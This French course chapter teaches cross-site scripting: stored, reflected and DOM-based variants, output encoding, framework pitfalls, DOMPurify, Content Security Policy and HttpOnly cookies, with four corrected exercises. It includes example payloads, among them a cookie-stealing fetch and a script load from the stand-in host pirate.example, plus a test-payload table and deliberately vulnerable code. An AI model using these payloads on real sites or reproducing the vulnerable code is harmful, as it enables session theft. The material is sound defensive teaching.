Chapitre 817 minIntermédiaire
Faille XSS : réfléchie, stockée, DOM et CSP
Par Josselyn C., prof de BTS SIO. Mis à jour le .
À la fin de ce chapitre, tu sauras
- reconnaître une XSS stockée, réfléchie ou basée sur le DOM ;
- encoder une sortie selon son contexte ;
- repérer les écritures qui désactivent la protection d'un framework ;
- poser une Content Security Policy en défense en profondeur.
4 exercices corrigés1 schéma
Une faille XSS (cross-site scripting) permet à un attaquant de faire exécuter son propre code JavaScript dans le navigateur d'un autre utilisateur, en l'injectant dans une page du site visé. C'est une injection (A05:2025, CWE-79), la plus fréquente des vulnérabilités web publiées. Ce chapitre présente les trois types de XSS (stockée, réfléchie, DOM), ce qu'un attaquant peut en faire, la parade principale (l'encodage des sorties selon leur contexte) et les défenses complémentaires : bibliothèque de nettoyage, Content Security Policy et cookies HttpOnly.
C'est quoi une faille XSS ?
Le navigateur fait confiance à tout le code JavaScript d'une page : celui écrit par le développeur, et celui qui s'y est glissé. Si une page affiche une saisie de l'utilisateur sans la neutraliser, et que cette saisie contient <script>, le navigateur exécute le script comme s'il venait du site, avec les mêmes droits : il lit la page, envoie des requêtes avec les cookies de la victime, modifie l'affichage.
La faille est côté serveur ou côté code du front (la page construite sans précaution), mais la victime est l'utilisateur dont le navigateur exécute le script. C'est la différence avec une injection SQL, qui attaque directement le serveur.
| Type | Où est stockée la charge | Comment la victime la reçoit | Gravité typique |
|---|---|---|---|
| Stockée (persistante) | En base, enregistrée par l'attaquant | En affichant une page qui contient la donnée piégée | Élevée : toutes les personnes qui voient la page sont touchées |
| Réfléchie | Dans l'URL ou le formulaire | En cliquant sur un lien piégé envoyé par l'attaquant | Moyenne à élevée : il faut convaincre la victime de cliquer |
| Basée sur le DOM | Dans l'URL, souvent après le # | Le JavaScript de la page insère la donnée dans le DOM | Variable : le serveur ne voit parfois jamais la charge |
XSS stockée
Dans AppliFrais, le visiteur saisit un libellé pour chaque frais hors forfait. Le comptable consulte ensuite les fiches dans son interface, qui affiche les libellés. Un visiteur malveillant saisit ce libellé :
Taxi gare<script>fetch('https://pirate.example/vol?c=' + document.cookie)</script>
La version PHP de l'interface comptable affiche les lignes ainsi :
<!-- VULNÉRABLE -->
<td><?= $ligne['libelle'] ?></td>
Quand le comptable ouvre la fiche, son navigateur exécute le script. Si le cookie de session n'a pas l'attribut HttpOnly, il part chez l'attaquant, qui l'installe dans son propre navigateur et devient le comptable. Il valide alors ses propres frais. La charge reste en base : chaque comptable qui ouvre la fiche est touché.
XSS réfléchie
La page de recherche affiche le terme cherché :
<!-- VULNÉRABLE -->
<p>Résultats pour « <?= $_GET['q'] ?> »</p>
L'attaquant fabrique un lien et l'envoie au comptable par mail, sous un prétexte crédible :
https://frais.gsb.fr/recherche?q=<script src="https://pirate.example/x.js"></script>
(Dans un vrai lien, les caractères spéciaux sont encodés : %3Cscript%20src%3D…, ce qui rend la charge moins visible.) Le serveur « réfléchit » la saisie dans sa réponse, et le navigateur du comptable exécute le script en croyant qu'il vient de frais.gsb.fr. Rien n'est stocké : la victime doit cliquer sur le lien.
XSS basée sur le DOM
Ici, le serveur n'y est pour rien : c'est le JavaScript du front qui insère une donnée contrôlable dans la page.
// VULNÉRABLE : le fragment de l'URL est inséré comme du HTML
const onglet = decodeURIComponent(location.hash.slice(1));
document.querySelector('#titre').innerHTML = `Onglet : ${onglet}`;
Avec l'URL https://frais.gsb.fr/#<img src=x onerror=alert(document.domain)>, l'image ne se charge pas, son gestionnaire onerror s'exécute. Le fragment après # n'est même pas envoyé au serveur : aucun filtre côté serveur ne peut le voir. La correction utilise textContent, qui insère du texte et jamais du HTML :
document.querySelector('#titre').textContent = `Onglet : ${onglet}`;
Les « puits » dangereux du DOM, à n'utiliser qu'avec des données sûres : innerHTML, outerHTML, insertAdjacentHTML, document.write, eval, setTimeout avec une chaîne, new Function, et les attributs href ou src qui reçoivent une URL javascript:.
Ce que peut faire un attaquant
alert(1) sert à prouver la faille ; une vraie attaque est plus discrète. Le script injecté peut :
- voler la session, si le cookie n'est pas
HttpOnly, ou un jeton stocké danslocalStorage(lisible par tout script de la page) ; - agir à la place de la victime sans rien voler : envoyer des requêtes à l'API avec ses cookies (valider une fiche, changer l'email du compte, créer un administrateur) ;
- lire tout ce qu'affiche la page : données personnelles, montants, jetons anti-CSRF ;
- enregistrer les frappes au clavier sur la page ;
- afficher un faux formulaire de connexion sur le vrai site, pour récupérer le mot de passe ;
- rediriger vers un site piégé.
Encoder les sorties selon le contexte
La parade principale est l'encodage en sortie (output encoding) : au moment d'insérer une donnée dans la page, on remplace les caractères qui ont un sens pour le navigateur par leur équivalent inoffensif. <script> devient <script>, qui s'affiche comme du texte et ne s'exécute pas.
On encode en sortie, au moment de l'affichage, et non à l'entrée : la même donnée peut être affichée en HTML, envoyée dans un JSON, écrite dans un PDF ou un fichier CSV, et chaque destination a ses propres règles. Stocker en base <script> abîme la donnée pour tous les autres usages.
En PHP, la fonction est htmlspecialchars :
<td><?= htmlspecialchars($ligne['libelle'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?></td>
Depuis PHP 8.1, ENT_QUOTES | ENT_SUBSTITUTE est le comportement par défaut, mais l'écrire explicitement évite les surprises sur une ancienne version. Une petite fonction d'aide allège le code :
function e(?string $texte): string {
return htmlspecialchars($texte ?? '', ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
// <td><?= e($ligne['libelle']) ?></td>
| Caractère | Devient | Pourquoi |
|---|---|---|
< | < | Empêche d'ouvrir une balise |
> | > | Empêche de fermer une balise |
& | & | Empêche de former une autre entité |
" | " | Empêche de sortir d'un attribut entre guillemets doubles |
' | ' | Empêche de sortir d'un attribut entre apostrophes |
Le contexte compte. L'encodage HTML protège le contenu d'une balise et la valeur d'un attribut entre guillemets. Il ne suffit pas partout :
| Contexte d'insertion | Exemple | Ce qu'il faut |
|---|---|---|
| Contenu HTML | <td>DONNÉE</td> | Encodage HTML |
| Attribut entre guillemets | <input value="DONNÉE"> | Encodage HTML, guillemets compris |
| Attribut sans guillemets | <input value=DONNÉE> | À bannir : mets toujours des guillemets |
URL dans href ou src | <a href="DONNÉE"> | Vérifier que le schéma est https: ou http: (refuser javascript:), puis encodage HTML |
| Paramètre dans une URL | ?q=DONNÉE | encodeURIComponent (JS), urlencode (PHP) |
Dans un bloc <script> | var x = 'DONNÉE'; | À éviter : passer la donnée par un attribut data- ou un JSON encodé (json_encode avec JSON_HEX_TAG) |
| Gestionnaire d'événement, CSS | onclick="…DONNÉE…" | À bannir |
Les moteurs de gabarits encodent par défaut. Twig (Symfony) et Blade (Laravel) avec {{ variable }}, EJS avec <%= variable %>, Razor (ASP.NET) avec @variable encodent automatiquement. Les écritures qui désactivent l'encodage sont les endroits à vérifier en priorité dans une revue de code : {{ variable|raw }} en Twig, {!! variable !!} en Blade, <%- variable %> en EJS, @Html.Raw() en Razor.
XSS et frameworks : React, Vue, Angular
Les frameworks front modernes encodent tout ce qu'ils affichent par défaut. En React :
<td>{ligne.libelle}</td> {/* sûr : React insère du texte */}
Le cours React présente les composants et le JSX.
La protection tombe dans quelques cas, à surveiller :
dangerouslySetInnerHTMLen React,v-htmlen Vue,[innerHTML]associé àbypassSecurityTrustHtmlen Angular : ils insèrent du HTML brut. Leurs noms sont des avertissements.- Les URL fournies par l'utilisateur dans
href: un lienjavascript:alert(1)exécute du code au clic. Ne compte pas sur le framework pour le bloquer : vérifie que l'URL commence parhttps://ouhttp://. - L'accès direct au DOM (
ref.current.innerHTML = …) contourne le framework. - Le rendu côté serveur qui injecte un état initial dans un
<script>sans l'encoder correctement.
// Vérifier le schéma d'une URL saisie par l'utilisateur
function urlSure(saisie) {
try {
const url = new URL(saisie);
return ['https:', 'http:'].includes(url.protocol) ? url.href : null;
} catch {
return null; // ce n'est pas une URL absolue valide
}
}
Accepter du HTML : nettoyer avec DOMPurify
Parfois, l'utilisateur doit pouvoir mettre en forme son texte : un commentaire en gras, une liste. On ne peut plus tout encoder. On nettoie alors le HTML avec une bibliothèque éprouvée, qui ne garde que les balises et attributs d'une liste blanche et retire tout le reste (scripts, gestionnaires on…, URL javascript:).
import DOMPurify from 'dompurify';
const propre = DOMPurify.sanitize(htmlSaisi, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'ul', 'ol', 'li', 'p', 'br'],
ALLOWED_ATTR: [],
});
// <p>Bonjour <b>Léa</b><img src=x onerror=alert(1)></p> → <p>Bonjour <b>Léa</b></p>
Côté serveur en PHP, la bibliothèque HTML Purifier joue le même rôle. Écrire son propre filtre avec des expressions régulières (« je retire les <script> ») est voué à l'échec : <ScRiPt>, <img onerror=…>, <svg onload=…> et des dizaines d'autres variantes passent au travers. Encore mieux, quand c'est possible : un format sans HTML, comme Markdown, converti par une bibliothèque qui nettoie sa sortie.
La CSP, deuxième ligne de défense
La Content Security Policy (CSP) est un en-tête HTTP par lequel le serveur indique au navigateur quelles sources de scripts, de styles, d'images ou de cadres il a le droit de charger et d'exécuter. Une XSS qui réussit à insérer <script> dans la page est alors bloquée, car ce script ne fait pas partie des sources autorisées.
Une politique stricte, basée sur un nonce (un jeton aléatoire, différent à chaque réponse) :
Content-Security-Policy: default-src 'self'; script-src 'nonce-4f9c2e81b7' 'strict-dynamic';
object-src 'none'; base-uri 'none'; frame-ancestors 'none'
Seuls les scripts qui portent l'attribut nonce="4f9c2e81b7" s'exécutent. Le serveur ajoute ce nonce à ses propres balises <script> ; l'attaquant ne le connaît pas, puisqu'il change à chaque page.
| Directive | Rôle |
|---|---|
default-src 'self' | Par défaut, n'autoriser que les ressources du même domaine |
script-src | D'où peuvent venir les scripts ; sans 'unsafe-inline', les scripts écrits dans la page et les attributs onclick sont bloqués |
object-src 'none' | Interdit les plugins (<object>, <embed>) |
base-uri 'none' | Empêche de détourner les URL relatives avec une balise <base> |
frame-ancestors 'none' | Interdit d'afficher la page dans un cadre d'un autre site (contre le clickjacking) |
form-action 'self' | Les formulaires ne peuvent envoyer leurs données qu'au même domaine |
Avec Express, le middleware helmet pose une CSP par défaut (et d'autres en-têtes), à adapter :
import helmet from 'helmet';
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
},
},
}));
Pour déployer une CSP sur une application existante sans la casser, on commence par l'en-tête Content-Security-Policy-Report-Only : le navigateur signale les violations dans la console (et à une adresse de rapport) sans rien bloquer. On ajuste, puis on passe à l'en-tête définitif.
Cookies HttpOnly et autres protections
HttpOnlysur le cookie de session : le script injecté ne peut plus le lire avecdocument.cookie. Il peut toujours agir dans la page, mais il ne vole plus la session pour l'utiliser ailleurs (attributs des cookies).- Pas de jeton dans
localStoragequand on peut l'éviter : contrairement à un cookieHttpOnly, il est lisible par tout script de la page. Content-Typeexact etX-Content-Type-Options: nosniff: une réponse JSON servie enapplication/jsonn'est pas interprétée comme du HTML.- Des fichiers envoyés servis sans danger : un fichier
.htmlou.svgdéposé comme « justificatif » et servi depuis le domaine principal peut contenir du script. On les sert avecContent-Disposition: attachment, ou depuis un domaine séparé.
Tester une XSS sur ton application
Sur ton application, et seulement elle, saisis dans chaque champ qui est réaffiché quelque part des charges de test, puis observe :
| Charge | Ce qu'elle teste |
|---|---|
<script>alert(1)</script> | Le contenu HTML n'est pas encodé |
<img src=x onerror=alert(1)> | Les filtres qui ne visent que <script> |
"><svg onload=alert(1)> | La sortie d'un attribut entre guillemets |
javascript:alert(1) dans un champ d'URL | Le schéma des liens n'est pas vérifié |
{{7*7}} | Une injection de gabarit (affiche 49 si vulnérable) |
Si la page affiche le texte tel quel (<script>alert(1)</script> visible à l'écran), l'encodage fonctionne. Si une boîte d'alerte apparaît, la faille est là. Les scanners DAST comme ZAP automatisent ces essais (chapitre 14).
Exercice 1 sur 4 Quel type de XSS ? Réussi À revoir
Classe chaque scénario : XSS stockée, réfléchie ou basée sur le DOM.
- Le message d'erreur « Identifiant inconnu :
<login>» affiche le login saisi, pris dans l'URL?login=…. - Le nom d'un visiteur, modifiable dans son profil, s'affiche sans encodage sur le tableau de bord du comptable.
- Un script du front lit
location.hashet l'insère avecinnerHTML. - Le titre d'un ticket d'assistance est affiché sans encodage dans la liste des tickets des techniciens.
Voir la réponseMasquer la réponse de l'exercice 1
- Réfléchie : la charge est dans l'URL et revient dans la réponse.
- Stockée : la charge est enregistrée en base et touche chaque comptable qui affiche le tableau de bord.
- Basée sur le DOM : le code du front fait l'insertion, le serveur n'intervient pas.
- Stockée, et particulièrement dangereuse : les victimes sont des techniciens, souvent dotés de droits élevés.
Tu avais trouvé ?
Exercice 2 sur 4 Corriger l'affichage Réussi À revoir
Corrige chaque ligne d'une vue PHP pour supprimer la XSS.
<h1>Fiche de <?= $visiteur['nom'] ?></h1><input type="text" name="libelle" value="<?= $ligne['libelle'] ?>"><a href="<?= $ligne['lien_justificatif'] ?>">Voir le justificatif</a>(le lien est saisi par le visiteur)
Voir la réponseMasquer la réponse de l'exercice 2
<h1>Fiche de <?= htmlspecialchars($visiteur['nom'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?></h1><input type="text" name="libelle" value="<?= htmlspecialchars($ligne['libelle'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?>">:ENT_QUOTESencode les guillemets, ce qui empêche de sortir de l'attribut.- L'encodage HTML ne suffit pas :
javascript:alert(1)ne contient aucun caractère à encoder. Il faut d'abord vérifier le schéma, puis encoder :
$lien = $ligne['lien_justificatif'];
$schema = parse_url($lien, PHP_URL_SCHEME);
if (!in_array($schema, ['https', 'http'], true)) {
$lien = '#';
}
?>
<a href="<?= htmlspecialchars($lien, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?>">Voir le justificatif</a>
Tu avais trouvé ?
Exercice 3 sur 4 React est-il sûr ? Réussi À revoir
Pour chaque composant React, dis s'il est vulnérable à une XSS.
<p>{commentaire.texte}</p><div dangerouslySetInnerHTML={{ __html: commentaire.texte }} /><a href={profil.siteWeb}>Site</a>, oùsiteWebest saisi librement par l'utilisateur.<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(commentaire.html) }} />
Voir la réponseMasquer la réponse de l'exercice 3
- Sûr : React insère le texte, encodé.
- Vulnérable : le HTML est inséré brut.
- Vulnérable si
siteWebvautjavascript:…: le code s'exécute au clic. Vérifier que l'URL commence parhttps://ouhttp://. - Sûr dans la mesure où DOMPurify est à jour et bien configuré : le HTML est nettoyé avant insertion.
Tu avais trouvé ?
Exercice 4 sur 4 Défense en profondeur Réussi À revoir
Un comptable a été victime d'une XSS stockée. L'équipe hésite entre trois mesures : encoder les sorties, poser une CSP stricte, mettre l'attribut HttpOnly sur le cookie de session.
- Laquelle corrige la faille ? Lesquelles limitent seulement les dégâts ?
- Avec
HttpOnlyseul, que peut encore faire le script injecté ? - Que faut-il faire des libellés piégés déjà présents en base ?
Voir la réponseMasquer la réponse de l'exercice 4
- L'encodage des sorties corrige la faille : le libellé s'affiche comme du texte. La CSP et
HttpOnlysont des défenses en profondeur : elles réduisent les dégâts d'une XSS qui passerait ailleurs. Il faut les trois. - Le script ne peut plus lire le cookie, mais il s'exécute toujours dans la page du comptable : il peut appeler l'API avec ses cookies (valider des fiches), lire les données affichées, afficher un faux formulaire de connexion.
- Une fois l'encodage en place, ils s'affichent comme du texte et ne s'exécutent plus. Il faut néanmoins les rechercher (
WHERE libelle LIKE '%<%') pour identifier l'auteur dans les journaux, mesurer l'incident (quelles sessions ont été volées, quelles actions ont été faites) et invalider les sessions des victimes.
Tu avais trouvé ?